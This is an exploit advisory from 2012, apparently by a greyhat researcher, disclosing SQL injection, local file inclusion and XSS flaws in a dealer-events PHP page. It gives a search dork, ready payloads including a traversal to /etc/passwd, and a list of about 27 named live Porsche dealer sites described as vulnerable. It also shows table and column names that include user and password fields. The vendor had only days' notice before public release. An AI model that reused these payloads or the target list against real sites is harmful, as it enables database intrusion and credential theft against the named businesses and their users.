-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= INDEPENDENT SECURITY RESEARCHER PENETRATION TESTING SECURITY -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= # Author: Ur0b0r0x # Tiwtte: @Ur0b0r0x # Email: ur0b0r0x_4n1@live.com # Line: GreyHat # Exploit Title: Agencia[e] - SQL Injection / LFI / XSS Vulnerabilities # Dork: intext: inurl:eventos_mas.php?ideve= # Date: 16/11/2012 # Author: Ur0b0r0x # Url Vendor: http://www.agenciae.tv/ # Vendor Name: Agencia[e] # Tested On: Backtrack R3 / Linux Mint # Type: php # Info: Offical Center Porsche In Spain ------------------- Agreement -------------------- [12/11/2012] - Vulnerability discovered [15/11/2012] - Vendor notified Dont responsed [16/11/2012] - Public disclosure -------------------------------------------------- # Expl0it/P0c ################### http://site.com/eventos_mas.php?ideve= < Sql Vulnerability Path > http://site.com/eventos_mas.php?ideve= < LFi Vulnerability Path > http://site.com/eventos_mas.php?ideve= < XSS Vulnerability Path > # Exploit/Comand/Sql=> +union+select+1,2,3,4--+ # Exploit/Comand/Xss=> "><img src=x onerror=alert("ur0b0r0x");> # Exploit/Comand/Lfi=> /../../../../../../../etc/passwd%00/../../../ # Payload/Comand/Sql=> table_schema=00x5E6536C65716672756732423423 / table_name=0x44F6277C616670x5E6536C65756546269 # Demo_Xss_Sql_Vulnerabilities http://www.porsche-valencia.com/eventos_mas.php?ideve=14' http://www.porsche-madridoeste.com/eventos_mas.php?ideve=201' http://www.porsche-barcelona.com/eventos_mas.php?ideve=237' http://www.porsche-alicante.com/eventos_mas.php?ideve=184' http://www.porsche-pamplona.com/eventos_mas.php?ideve=351' http://www.porsche-bilbao.com/eventos_mas.php?ideve=353' http://www.porsche-ibercarrera.com/eventos_mas.php?ideve=356' http://www.porsche-zaragoza.com/eventos_mas.php?ideve=105' http://www.porsche-murcia.com/eventos_mas.php?ideve=474' http://www.porsche-malaga.com/eventos_mas.php?ideve=436' http://www.porsche-castellon.com/eventos_mas.php?ideve=291' http://www.porsche-marbella.com/eventos_mas.php?ideve=160' http://www.porsche-canarias.com/eventos_mas.php?ideve=182' http://www.porsche-madridnorte.com/eventos_mas.php?ideve=175' http://porsche-baleares.com/eventos_mas.php?ideve=73' http://porsche-asturias.com/eventos_mas.php?ideve=418' http://www.porsche-sevilla.com/eventos_mas.php?ideve=443' http://www.porsche-acoruna.com/eventos_mas.php?ideve=424' http://www.centrosporsche.com/centros/eventos_mas.php?ideve=51' http://porsche-valladolid.com/eventos_mas.php?ideve=59' http://www.porsche-pamplona.com/eventos_mas.php?ideve=53' http://www.porsche-ibercarrera.com/eventos_mas.php?ideve=288' http://www.porsche-tenerife.com/eventos_mas.php?ideve=9' http://www.porsche-braga.com/eventos_mas.php?ideve=243' http://www.porsche-faro.com/eventos_mas.php?ideve=314' http://www.porsche-lisboa.com/eventos_mas.php?ideve=219' http://www.porsche-leiria.com/eventos_mas.php?ideve=220' # The Same Tables And Columns All Site Vulnerability +----------+ | control | | eventos | | noticias | | usuarios | +----------+ +---------+ | Column | +---------+ | alias | | id | | nombre | | pwd | | sid | | url | | usuario | +---------+